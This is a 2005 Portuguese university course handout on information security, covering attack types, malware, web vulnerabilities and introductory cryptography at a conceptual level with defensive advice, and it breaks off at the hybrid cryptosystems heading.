linux apostila 420 segurancanew

71
Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4 DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 2005 5 de Março de 2005 Apostila do Curso de Segurança Apostila do Curso de Segurança Universidade Estácio de Sá Universidade Estácio de Sá Campus Petrópolis I Campus Petrópolis I Prof. Luís Rodrigo Prof. Luís Rodrigo Versão 0.4 Versão 0.4 Rascunho Rascunho Data: 04.03.2005 Data: 04.03.2005 Prof. Luís Rodrigo de O. Gonçalves Prof. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 1 de de 71 71

Upload: kallklen-ribeiro-de-paula

Post on 29-Nov-2015

62 views

Category:

Documents


4 download

TRANSCRIPT

Page 1: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Apostila do Curso de SegurançaApostila do Curso de Segurança

Universidade Estácio de SáUniversidade Estácio de Sá

Campus Petrópolis ICampus Petrópolis IProf. Luís RodrigoProf. Luís Rodrigo

Versão 0.4Versão 0.4

RascunhoRascunho

Data: 04.03.2005Data: 04.03.2005

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 11 de de 7171

Page 2: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Introdução: A Segurança na Internet

Devido ao modo como a Internet foi projetada, ainda hoje, existe uma ausência de mecanismo que

garantam a privacidade e autenticação, para as camadas que estão abaixo da aplicação, ou seja, quando da

sua criação não houve uma grande preocupação com segurança. Dentre os vários problemas que ainda

agravam esta situação podemos destacar:

1) Senhas reutilizadas e não cifradas;

2) Baixo nível de segurança em servidores de Dial-Up (linha discada);

3) Falta de critério de segurança, na criação de contas de usuários;

4) Monitoração e expiração de contas feita de forma ineficiente;

5) Falta de atenção quando a configuração de servidores que executam algum tipo de CGI

(Common Gateway Interface).

Desta forma, jamais execute um servidor web como root, sendo indicado a criação de um usuário

específico para tal ação, como por exemplo o usuário de grupo webserver.

O principal avanço que ocorreu na segurança da WEB nos últimos tempos foi a criação do protocolo

SSL (Secure Socket Layer) pelo Netscape, este protocolo usa uma estrutura de três camadas que emprega:

1) Autenticação;

2) Criptografia – RSA e DES;

3) Verificação de integridade – MDS.

Como funciona o processo:

1) Realização do Handshake (Aperto de Mãos) – Definição de uma chave secreta;

2) Início da conexão privada – Mecanismo de criptografia – DES – chave simétrica;

3) Pode haver a autenticação do cliente e do servidor, via RSA – chave assimétrica;

4) Transporte das mensagens – uso do algoritmo de verificação de integridade – uso do SHA,

MDS e etc.

Podemos então perceber claramente que o objetivo deste protocolo de segurança é prover a

privacidade e confiabilidade entre dois programas, buscando estabelecer um processo de negociação e

emprego de funções de autenticação mútua.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 22 de de 7171

Page 3: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

1) Conceitos Básicos

O Termo "Segurança", segundo a ISO 7498-2, é utilizado para especificar os fatores necessários

para minimizar a vulnerabilidades de bens e recursos e está relacionada a necessidades de proteção contra

acesso ou manipulação das informações confidenciais e utilização dos recursos de processamento de forma

não autorizada.

Da mesma forma "Vulnerabilidade" é utilizada para especificar qualquer fraqueza que pode ser

explorada para violar um sistema ou as informações que ele contem.

A necessidade de proteção deve ser definida tendo como base as possíveis “Ameaças” as quais o

ambiente está exposto, e deve ser formalizado em um documento oficial denominado Política de Segurança.

1.2) Ameaças e Ataques

Uma "Ameaça" consiste de uma possível violação da segurança de um ambiente ou sistema. As

ameaças podem ser classificadas como:

1. Passivas / Ativas;

2. Acidentais / Intencionais;

Um "Ataque" é a materialização de uma ameaça e normalmente pode ocorrer de várias formas

diferentes, mas normalmente é realizado através das etapas:

1. Obter informações sobre o alvo - coleta do perfil do alvo;

2. Obter acesso inicial, não privilegiado, ao sistema;

3. Explorar pontos fracos para aumentar o nível de privilégio e expandir o acesso;

4. Executar o ataque propriamente dito;

5. Instalar porta dos fundos (backdoor);

6. Cobrir rastros.

Dentre as técnicas que podem ser utilizadas para proferir um ataque podemos destacar:

1. Phreaking - consiste na má utilização do sistema telefônico, permitindo acesso gratuito

e até mesmo interromper seu funcionamento;

2. Discagem de Guerra ou Discagem de Força Bruta: consiste no uso de ferramentas

para realizar a discagem seqüencial para um número aleatório de números com o

objetivo de detectar um modem. Uma vez identificado um modem poderia ser utilizado

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 33 de de 7171

Page 4: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

um ataque de senha para se ter acesso ao sistema;

3. Engenharia social: consiste em se passar por uma outra pessoa com o objetivo de

coletar informações para proferir o ataque em sí (coleta de informações privilegiadas);

Recentemente tem-se utilizado principalmente o "e-mail" para a realização desta técnica.

Esta técnica é uma forma incrívelmente eficaz de se reunir informações sobre um dado

ambiente u sistema alvo;

4. Quebra de senha: tem por finalidade obter as senhas de acesso ao sistema, ou de uma

conta em especial. As principais técnicas que podem ser empregadas são:

• Força bruta;

• Dicionário;

• Combinação de palavras;

Como não existem senhas 100% seguras é uma questão de tempo até que um software

de quebra de senha consiga descobrir uma senha.

5. Filtragem de Pacote (packet sniffing): almeja a coleta de nomes de usuário e senhas

que trafegam de forma não protegida pela rede; e outros tipos de informações

pertinentes para o invasor;

6. Varredura ICMP - Pinging : esta técnica é utilizada para determinar os possíveis alvos

para um determinado ataque, mas também pode ser utilizada por Administradores de

Rede para realizar o monitoramento da mesma;

7. Scanner de Portas: consiste na determinação de quais serviços de rede estão ativos

nos hospedeiros da rede, bem como da identificação das principais vulnerabilidades a

que estes hospedeiros estão sujeitos. Ao identificar o endereço de um hospedeiro ativo,

o invasor pode utilizar este valor para forjar um ataque sem ser identificado

8. Coleta do Finger Printing de um hospedeiro;

9. Código malicioso (malware): programas desenvolvidos com objetivo de "furto" de

informações ou até mesmo danificação dos sistemas.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 44 de de 7171

Page 5: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

1.2) Os Principais tipos de Ataques

1. Personificação (masquerade): uma entidade faz-se passar por outras;

2. Replay: após uma mensagem ser interceptada ela pode ser transmitida para permitir o acesso de

um invasor ao sistema;

3. Modificação de Conteúdo: o conteúdo de uma mensagem alterado de forma furtiva;

4. Ataques Internos: normalmente proferidos por usuários legítimos que realizam operações ilegais;

5. Armadilhas (trapdoor): entidades do sistemas são modificadas para produzir efeitos não

autorizados em resposta a determinadas mensagens ou intervalos de tempo;

6. Cavalos de Tróia: entidades que executam funções não autorizadas, como por exemplo um

procedimento de "Login" modificado;

7. Recusa de Serviço: tem por objetivo impedir que entidades legitimas realizem suas funções.

Tipo: DoS e DdoS.

8. Spoofing IP - Esta é uma técnica, dita altamente sofisticada, onde uma máquina é autenticada por

outra através de Pacotes IP indicando ser uma fonte segura. Dado que um computador “X” pode

manter uma comunicação com um outro computador “Y”, sem a necessidade da constante

verificação de autenticidade. Um hacker pode se disfarçar informando para “X” que sua máquina é

“Y”. Para isto ele deve ser capaz de gerar os números de seqüência que são usados durante o

“Aperto de mãos” entre dois servidores, uma forma de se obter tais números é enviar uma série de

solicitações de conexões com “X” e guardar os números gerados.. Com o tempo, o hacker pode

descobrir como ele gera estes números. Descoberto o processo de geração dos números, o

hacker inicia uma conexão informando ser “X”, mas como ele não é a máquina indicada ele age as

“escuras”. Feito a solicitação ele envia um outro pacote com o número de seqüência, e com isto

fecha a conexão. Uma vez fechada a conexão o usuário passa a trabalhar em um canal

unidirecional, uma vez que ele não reabrirá os pacotes de resposta. Uma forma de se evitar este

tipo de ataque é configurar o roteador para que ele não aceite pacotes internet que simulam

originar-se de um endereço local. Outra forma seria a verificação dos “logs”, e do arquivo de host

confiáveis, caso haja uma conexão ativa com algum destes hosts, mas sem que hajam processos

em andamento provavelmente um ataque está em ação.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 55 de de 7171

Page 6: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

9. Negação de Serviço - Este tipo de ataque tem por objetivo deixar um “recurso” inoperante

“momentaneamente”. Existem basicamente dois tipos de ataques desta categoria o DoS e o

DDoS, este segundo, se baseia no envio de uma grande quantidade de pacotes para um alvo de

forma coordenada a partir de várias origens. Devido a uma fragilidade do TCP (Transmission

Control Protocol) os endereços da origem dos pacotes são normalmente forjados. Sendo que os

tipos mais comuns de DoS se baseiam na prerrogativa que o cliente tem que aceitar a conexão e

na limitação de que um serviço tem que aceitar um número de conexões por vez. Um dos

cuidados que devem ser tomados quando da configuração dos equipamentos de rede é que eles

não possam ser usados como fontes de ataques, bem como contra os ataques propriamente ditos,

uma das formas de se fazer a segunda parte e retirar os serviços que não estão sendo utilizados,

outra forma é realizar uma constante verificação do tráfico do site, assim sendo, quando uma

atividade anormal for detectada, uma atitude correspondente deve ser adotada, como por exemplo

bloquear um endereço de IP.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 66 de de 7171

Page 7: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

2) Malware

Desde novembro de 1988, quando Robert Morris lançou seu verme na internet, a mídia apresentou

o código malicioso como se fosse um desastre natural, o que não deixa de ser uma verdade, visto seus

efeitos e como as pessoas se comportam.

Os vírus, além de serem desastrosos para a produtividade de uma empresa, devido ao seu

comportamento epidêmico, ele pode consumir uma sensível parte da largura de banda de uma rede de

computadores.

Atualmente existe mais de 40.000 tipos distintos de vírus registrados. Dos vírus conhecidos três se

destacam pelo seu poder destrutivo e pelo seu modo de operação. O vírus “Melissa”, desenvolvido por

David Smith em 1999, causou um dano total de US$ 80 mil. O vírus "I love You" causou um dano total

de US$ 10 bilhões e desativou mais de 10.000 empresas, incluindo o Departamento de Defesa Norte

Americano (D.O.D).

Um dos motivos de rápida proliferação do Vírus "I love you" foi causada pelo uso do catálogo de

endereços do Microsoft Outlook Express, e por explorar a curiosidade do usuário.

Como acontece no mundo real a cura para estas pragas está sempre um passo atrás do seu

desenvolvimento. E atualmente os vírus deixaram de ser um pequeno incomodo, se tornando uma real

ameaça para a comunidade comercial.

2.1) Ciclo de Vida do Vírus

- Nascimento;

- Lançamento;

- Proliferação;

- Disparo;

- Ativação;

- Detecção;

- Eliminação;

- Mutação (volta ao primeiro estágio).

Os vírus podem utilizar vários meios de transporte, originalmente os disquetes e os arquivos

baixados de BBS eram a principal fonte, atualmente os e-mails e as redes promíscuas são os dois maiores

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 77 de de 7171

Page 8: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

grupos de risco de contaminação.

Atualmente, muitos vírus não necessitam que o usuário executem um arquivo anexado, basta abrir o

e-mail ou visitar um site que o mesmo é automaticamente acionado.

2.2) Tipos de Vírus

Os principais tipos de vírus são:

1. Vírus de infecção de arquivos - um dos primeiros tipos de vírus. Quando arquivos

infectados eram executados, o vírus era automaticamente executado e se proliferava

para os demais arquivos executáveis existentes no sistema;

2. Vírus do setor de boot - pouco comuns na atualidade, foram uma praga no passado,

eram carregados antes da execução do sistema operacional e contaminavam todos os

demais discos inseridos no sistema. Atualmente este tipo de vírus não causa grandes

danos devido a funcionalidades incorporadas nos sistemas operacionais mais recentes;

3. Vírus de Macro - usam as linguagens de macro dos programas para infectar seus

arquivos de dados. São Vírus específicos dos programas e atacam principalmente

documentos do Microsoft Word e Microsoft Excel;

4. Virus de Sript - são escritos utilizando-se de programação script, principalmente

Visual Basic Script e Java Script, normalmente ativos quando um e-mail é aberto ou um

site visitado;

5. Vírus Criptografado - foi o primeiro resultado da guerra entre desenvolvedores de

vírus e anti-vírus, como as assinaturas dos vírus são normalmente sua forma de

detecção, os vírus começaram a cifrar e embaralhar seus códigos todas as vez que são

executados;

6. Vírus Polimorfico - são vírus que possuem um sistema ativo de mutação, que não

somente muda o vírus a cada vez que ele replica, mas também muda a rotina que

decifra. Isto cria um vírus muito difícil de se detectar. Um exemplo de vírus desta

categoria é "One Half", que criptógrafa progressivamente o seu disco rígido, tornando-o

impossível de ser lido.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 88 de de 7171

Page 9: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

2.3) Outros tipos de Malware:

1. Cavalos de Tróia;

2. Vermes - são aplicativos designados para se espalharem pelas redes e se replicarem, são

independentes de outros programas aos arquivos, e geralmente causam danos por causa de

sua replicação fora de controle;

3. Código malicioso em Java - esta linguagem normalmente é utilizada na Internet na forma de

“applets” eu são manipuladas pelo browser. A segurança desta linguagem de sua máquina

virtual, contudo é inevitável que alguém usará o Código Java para escrever um programa

malicioso;

4. Código malicioso em Active X – esta “linguagem” é de propriedade da Microsoft e assim

como a Java pode ser utilizada para difusão de código malicioso. Contudo, contem assinaturas

digitais que verificam o nome do autor do programa. Depois o browser verifica se você confia

ou não no fornecedor do software. Contudo, jamais permita automaticamente todos os

aplicativos de um dado auto, visto a possibilidade de se falsificar um certificado;

2.4) Tecnologias de antivírus

Existem várias técnicas que podem ser adotadas pelos antivírus, das quais podem-se destacar:

1) Investigação de assinatura;

2) Monitoramento de atividades;

3) Verificação de integridade.

Os Pacotes de Investigação procuram assinaturas e consistem de duas partes:

1) Um banco de dados contendo as assinaturas conhecidas;

2) Software de pesquisa e análise dos arquivos em busca destas assinaturas.

Outra forma de investigação é a “Investigação Heurística”, que procura código suspeito, estes

softwares convergem os arquivos para uma área “virtual” do computador – área de quarentena, os executam

e testam seu comportamento.

Uma vantagem da Investigação Heurística é que ela pode: “pegar” novos vírus antes mesmo de

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 99 de de 7171

Page 10: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

ocorrer uma infecção ou do lançamento do novo arquivo de assinaturas.

Mas os investigadores podem oferecer “falsos positivos”, contudo este problema tem sido

gradativamente reduzido.

Os “Monitores de Atividade” observam as ações que estão sendo executadas no computador, e

quando ocorre uma ação suspeita, o monitor envia um alerta para o usuário, pedindo que o mesmo aceite

ou rejeite a execução do código, o que pode gerar certo nível de inconveniência ao usuário.

Os “Verificadores de Integridade” guarda informações detalhadas sobre os arquivos do

computador e setores do sistema. Isso permite que ele possa determinar quando são feitas mudanças e

então emitir um alerta ao usuário.

Os softwares antivírus podem ser executados em três locais distintos:

� No Desktop – protegendo localmente os dados, mas pode ser facilmente desabilitado pelo

usuário;� Nos Servidores – garante maior nível de segurança para os dados da rede, mas podem

sobrecarregar a operação do servidor;� Nos Gateways da Rede – evita a entrada e saída de softwares maliciosos da rede. Pode gerar

um atraso na comunicação, contudo seu uso é altamente recomendado.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 1010 de de 7171

Page 11: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

3) Problemas de Segurança da WEB

Quando a WEB era formada por páginas estátuas, não havia possibilidade de realização de

comércio, mas mesmo assim já era alvo de ataques de segurança, como por exemplo, a “desfigurarão” do

arquivo “index.htlm”.

Apesar de simples, este ataque pode gerar a perda de credibilidade da empresa e a redução da

confiança do usuário.

Outro tipo de ataque que já era comum nesta época era a alteração ilegal dos servidores de “DNS”,

que permitem que sites fossem trocados.

Os ataques de DNS não geravam a perda dos dados da página, mas causavam os mesmos danos a

credibilidade e confiança.

Durante estes ataques normalmente os “hackers” utilizam-se da técnica de “camuflagem de IP” , a

qual permite ocultar o endereço de uma outra pessoa durante o ataque.

Com o crescimento da web, os sites de e-commece se tornaram o grande alvo dos hackers, visto

que eles poderiam lucrar de várias formas, principalmente financeiramente.

A desfiguração de Sites é o tipo de ataque mais simples e pode não exigir grandes conhecimentos.

É o mais explorado pelos Script Kiddies. Mesmo sendo um ataque simples, ele causa sérios danos à

empresa, independente se o site é hospedado para “terceiros”.

3.1) Ataques de Negação de Serviço

Apesar dos hackers ainda não possuírem uma união, eles trabalham em grupos de forma livremente

organizada. Estas características é que tornam este tipo de ataque possível.

O objetivo deste ataque não é causar perda de dados ou acesso ilegal ao sistema. E sim tornar o

servidor incapaz de responder aos clientes reais que tentam acessar o site.

Uma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefônico de

determinadas organizações, neste caso, os “hackers”, simplesmente ligavam repetidamente para os

números de telefones dos SACs impedindo aos reais cliente o acesso ao serviço.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 1111 de de 7171

Page 12: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Os hackers podem automatizar estes ataques através dos “Zumbis” que são sistemas previamente

comprometidos para um ataque. Este tipo de ataque pode caracterizar um DDOS, no qual o invasor não

pode ser diretamente rastreado.

Novos Zumbis são facilmente “alertados”, pois cada vez mais existem pessoas com acesso de

banda larga, nas quais conectam seus computadores de forma protegida para um longo período de tempo.

Dentre as ferramentas utilizadas pelos “hackers” podemos destacar o Tribal Flood Network e o

Trin00.

Tipos de ataque:

1) Ataque Smurf : uma rede com pedidos “Packet Internet Groper” (PING), neste caso

a rede é sobrecarregada com uma grande quantidade de pedidos e replicar de ping;

2) Ataque Fraggle : este ataque usa o protocolo UDP – User Datagram Protocol da

mesma forma que o ataque smurf;

3) Ataque de Inundação de SYN: cliente e servidor trocam uma série de mensagens

a fim de estabelecer uma conexão. O primeiro pacote é o SYN (abreviação

synchroneze – sincronizar).

O nó da rede responde ao cliente com uma mensagem SYN-ACK (synchronize

acknowledgment – confirmação de sincronização).. Durante o ataque o hacker não

envia a confirmação (ACK) deixando o host aguardando com uma conexão meio

alerta.

Quando o host atinge seu limite de conexões, ele passa a recusar quaisquer

conexões que chegarem, incluindo as válidas. Estas conexões alertas irão expiar o

término do ataque e a negação do serviço terminará.

O anonimato de um ataque de Negação de Serviço torna-o um ataque pouco

visível, mas com elevados danos à publicidade e à imagem da empresa.

Apesar de serem fáceis de se gerar, são difíceis de se impedir, a única coisa que

pode ser feita é tornar sua rede mais difícil de atacar e seus computadores de se

tornarem Zumbi.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 1212 de de 7171

Page 13: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

3.2) Estouro de Bufffer

Buffers são áreas de armazenamento temporário.

1) Possui tamanho limitado;

2) Estou de Buffer ocorre quando os dados excedem o limite;

3) Os dados excelentes podem alterar outras regiões de dados, incluindo as instruções do

Programa;

4) Pode ser utilizado para executar código malicioso e abrir acesso ao sistema;

5) Existem em todos os sistemas.

Solução:

1) Validação dos dados antes de serem enviados para o buffer;

2) Pode atrasar as transações e reduzir a largura da banda;

3) A validação deve ser feita, principalmente no servidor.

3.3) Vulnerabilidade no campo do formulário1) Principalmente nos campos ocultos;

2) Campos podem ser vistos selecionando as opções “EXIBIR/CÓDIGO FONTE”;

3) O hacker pode alterar estes campos antes de submete-los ao site;

4) Formulários com código de sessão também são vulneráveis a este ataque e poderiam

permitir a um hacker apanhar a sessão de um usuário real.

Solução:

1) Todos os dados retornados para um formulário devem ser verificados para o servidor;

2) Incluindo aqueles que o usuário não possui “acesso” direto;

3) Java Script no lado do cliente reduz o problema, mas não resolve, pois pode ser

desabilitado.

3.4) Modificação do arquivo de Cookie

1) Cookies são arquivos texto que guardam as preferências do usuário;

2) São arquivos não cifrados, logo podem ser facilmente alterados por um hacker.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 1313 de de 7171

Page 14: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

3.5) Scripts entre sites

1) Um usuário pode ser atraído a executar um código malicioso contra um site;

2) Pode ocorrer quando um usuário recebe um e-mail com um Hiperlink;

3) Ao clicar no link ele é direcionado ao site com o código malicioso;

4) O servidor web aceita o código pensando ser de um usuário confiável e o executa;

5) Este script poderá fornecer ao hacker informações confidenciais sobre o usuário.

3.6) Vulnerabilidades do Sistema Operacional e das Aplicações

1) Há falhas de segurança em todos os sistemas operacionais e aplicações;

2) Monitorar falhas e aplicar os patches;

3) Fornecedores relutam em publicar os pontos fracos;

4) Configurações mal feitas, portas dos fundos e depurações também podem deixar o site

vulnerável;

5) Programadores também podem deixar comandos de depuração que foram úteis durante o

desenvolvimento, mas agora representa um grande risco.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 1414 de de 7171

Page 15: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

4.) A criptografia e seu uso

A criptografia é a arte/ciência de escrever de forma cifrada/codificada. Ou seja, é o conjunto de

técnicas que permite reescrever uma mensagem “clara” de forma incompreensível e permitir que somente o

destinatário entenda a mensagem.

A criptografia tem por finalidade garantir a privacidade através do uso de algoritmos que trabalham

como funções matemáticas que mapeiam um dado de entrada em uma outra informação na saída, que é na

verdade o texto cifrado.

A palavra criptografia vem do grego: krypto = esconder + grafo = escrita/grafia.

A criptoanálise é a ciência de determinar a chave de criptografia ou decifrar as mensagens. A

criptologia é a ciência que combina ambas as anteriores. E o criptanalista pode ser tanto o mocinho

quanto o vilão.

Os componentes básicos de uma estrutura de criptografia são:

1) Dado de entrada - texto plano;

2) Função de mapeamento - algoritmo de criptografia;

3) Segredo - chave que cifra e/ou decifra;

4) Dado de saída - texto cifrado.

4.1) Sistema Criptográfico

Estes sistemas podem ser baseados em dois tipos de algoritmos, nos restritos e nos modernos.

Aqueles que se baseiam nos algoritmos modernos podem ser simétricos e assimétricos. Os sistemas

simétricos fazem uso de somente uma chave, dai o seu nome, já os sistemas assimétricos fazem uso de

duas chaves, a pública e a privada.

4.1.1) Algoritmos restritos

1) O algoritmo é o segredo;

2) Não é muito seguro;

3) São difíceis de se desenvolver e distribuir enquanto continuam secretos;

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 1515 de de 7171

Page 16: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

4.1.2) Esteganografia

Esconder uma mensagem secreta em outra mensagem. Exemplos:

1) Tinta invisível - mensagem publica usando “tinta normal” e a secreta usando tinta “invisível”;

2) Imagem gráfica:

1) Incluir uma mensagem secreta dentro de uma “figura”.;

2) Ou em se cabeçalho de dados.

4.1.3) Cifras de substituição

1) Longo histórico;

2) Substitui cada caráter do texto puro para um outro símbolo na mensagem secreta;

3) As substituições podem ser arbitrárias ou podem ter um padrão determinado, como uma

rotação do alfabeto;

4) São fáceis de descobrir devido aos padrões de letra e freqüência em cada linguagem.

Exemplo: Taquigrafia; Código Morse; American Standart Code For Informatran Interchange

(ASCII).

4.1.4) Cifras de Transposição

1) Mantem o código puro intacto, mas trocam ou misturam a ordem de alguma forma;

2) Uma versão desta técnica é a “Cifra de transposição colunar simples”;

Exemplo de funcionamento:

(1) Definição da cifra original

THIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER

(2) Definição do formato da matriz

Frase – 40 caracteres

Grade – 8 colunas

5 linhas

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 1616 de de 7171

Page 17: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

(3) Inserindo dados na grade:

T H I S I S A SI M P L E C O LU M N A R T R AN S P O S I T IO N C I P H E R

(4) Reescrita da cifra = seguindo-se as colunas verticalmente.

TIUNO HMMSN IPNPC SLAOI

IERSP SCTIH AORTE SLAIR

Versões mais sofisticadas usam padrões mais complexos, como ziguezague pela grade.

Como as palavras estão mantendo a mesma freqüência, esta técnica é facilmente detectada

e quebrada.

4.2) Técnicas Modernas de Codificação

1) Usam algoritmos, irrestritos e chaves para manter as informações seguras;

2) Superiores aos sistemas de algoritmo restrito;

3) Muitos possuem anos de resistência à criptoanálise intensa;

4) Muitas pessoas podem usar o mesmo algoritmo, basta mudar a chave;

5) Quando a chave for comprometida basta gerar uma nova;

6) Duas técnicas básicas:

1) Criptografia simétrica;

2) Criptografia assimétrica ou criptografia pública.

7) Muitos sistemas usam ambas as técnicas.

4.2.1 Criptografia Simétrica

1) Conhecido como codificação de chave secreta;

2) Uma mesma chave utilizada para codificar e decodificar;

3) Desta forma, a chave é o segredo.

4) É muito utilizada em conexões seguras para realizar a troca das chaves temporárias;

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 1717 de de 7171

Page 18: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Exemplo de algoritmos:

1) DES – Data Encyptron Standard;

2) Triple DES;

3) IDEA – International Data Encyption Algorithm;

4) Blowfish;

5) Rot 13

6) RCS.

Estes algoritmos podem ser de dois tipos:

1) Algoritmos de Fluxo – que trabalham com o texto um byte por vez;

2) Algoritmos de Bloco – trabalham sobre blocos de tamanha fixo.

Os sistemas simétricos são mais simples e mais rápidos do que aqueles de chave pública (1.000 vezes

mais rápido), mas possui a desvantagem de que dois usuários distintos tenham conhecimento do mesmo

segredo (chave). Ambos os usuários são responsáveis pela segurança da chave.

4.2.2 Criptografia para chave pública (assimétrica)

Foi criada em 1976 por dois matemáticos de Stanford, Whitfield Diffie e Martin Hellman. Esta

resolve o problema do uso da chave secreta existente na criptografia simétrica, para tal faz uso de duas

chaves (privada - cifra e pública- decifra). Estas duas chaves são diferentes, contudo possuem um

relacionamento matemático, todavia não é possível derivar a chave privada a partir da pública e vice-versa,

elas se baseiam em números primos, fatoração, logaritmos e outras funções matemáticas. Neste caso, o

tamanho da chave é quem determina a eficiência do processo.

O principal deste tipo de criptograma é o RSA criado por Ron L. Rivert, Adi Shamir e Leonard

Adelman, a segurança deste algoritmo se baseia na dificuldade de se fatorar números extensos. Segundo

pesquisadores, para desvendar o sistema RSA Data Security usando uma chave de 760 bits, seriam

necessários 4.300 computadores e 50 anos.

O uso destas chaves permite o estabelecimento da conexão segura entre duas entidades sem o

prévio conhecimento das chaves. Visto que quando uma entidade “X” precisa enviar uma mensagem para

“Y”, ela usa a chave pública de “Y”, para cifrar a mensagem e somente a entidade “Y” será capaz de

decifrar a mensagem, pois “somente” ela conhece a sua chave privada.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 1818 de de 7171

Page 19: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

4.2.3 Criptossistemas Hibridos
